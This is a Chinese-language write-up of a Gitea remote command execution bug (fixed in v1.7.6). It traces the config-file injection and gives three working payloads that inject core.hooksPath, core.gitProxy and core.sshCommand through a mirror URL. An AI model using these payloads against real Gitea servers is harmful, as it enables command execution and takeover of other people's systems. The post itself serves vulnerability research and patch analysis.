前言
4月13日,gitea发布v1.7.6,修复一处远程命令执行漏洞 因为之前也跟过gitea的其他洞,这次也继续调洞
分析
首先查看commit修复了什么 https://github.com/go-gitea/gitea/pull/6593/files#diff-6b299323ba0a072129c7841649f49536
看这样子是修复了设置remote origin
的时候的洞,猜测是CRLF,直接看代码
定位SaveAddress
函数
跟进SetValue
函数
看着只是设置了键值对,那么跟进SaveToIndent
康康
将键值对写入buffer后写入文件,跟进writeToBuffer
康康他是怎么处理键值对的
关键来了,如果存在换行就用"""
框住
这样就能用"""
来逃逸了23333
复现
首先正常迁移一个外部仓库,选择镜像 进入仓库设置,修改URL 用burp一把梭 然后config文件成功被篡改 看上去很乱,但是重新点一下更新仓库设置就能格式化了 那么能篡改config文件后,怎么rce呢 通过阅读git文档和场外求助,共找到3种利用方式
利用链1
第一种就是使用hooksPath,通过设置core.hooksPath
,我们能够指定hooks文件,如果能指定到仓库所存放到地方不就可以为所欲为了吗
在转成普通仓库后,对文件进行修改后,会在data/tmp/local-repo/{repo_id}
下生成仓库文件,只要不重启gitea就不会消失,那么不久可以利用这个来做hooksPath
吗
可能有人要问,repo_id
我怎么知道呢,莫慌,可以使用搜索api来获取
首先创建一个镜像仓库,拉取恶意的hook文件,然后通过搜索api来获取repo_id
,然后篡改url为
1 2 3 4 5 | http://www.baidu.com""" [core] hooksPath = ../../../data/tmp/local-repo/6/hooks/update.d [remote "origin"] cat = """ |
然后转换为普通仓库后,随便更新一个文件后就能触发了
注意,hook文件一定要有执行权限,在上传至远程git仓库时一定要加上执行权限,这样拉下来的hook也带有执行权限了 然而这种利用链存在问题,首先我是在用户目录下运行binary的,这样就可以用相对路径穿上去,但是不是每一个人都会在用户目录下运行的。虽然可以使用绝对路径,但是猜不到绝对路径就gg。还有在1.8版本,更改完文件后,临时的仓库文件就会被删除。所以这个利用链不完美。
利用链2
使用gitProxy
,git文档对其对描述是能够执行命令
修改url为
1 2 3 4 5 | git://www.baidu.com/catcat/test.git""" [core] gitProxy = touch [remote "origin"] cat = """ |
修改完成后点击更新就能执行touch
命令
但是gitProxy
是把值当作一个命令来执行的,所以不能带参数就不能扩大利用了
利用链3
在git文档里,gitProxy
的下面就是sshCommand
,可以利用这个来执行命令
触发条件是执行git fetch
或git push
,先看看gitea同步时的操作
调用了git remote update
,那再来看看git remote update
又调用了谁
nice,调用了git fetch
,那么利用链完成
修改url为
1 2 3 4 5 | git@github.com:luckycat/luckycat""" [core] sshCommand = open /Applications/Calculator.app | ssh [remote "origin"] cat = """ |
点击同步,一键getshell
参考
感谢@lorexxar师傅提供利用链2的思路 感谢@lz1y师傅提供利用链3的思路 https://www.lz1y.cn/2019/07/20/CVE-2019-11229-Gitea-RCE/ https://git-scm.com/docs/git-config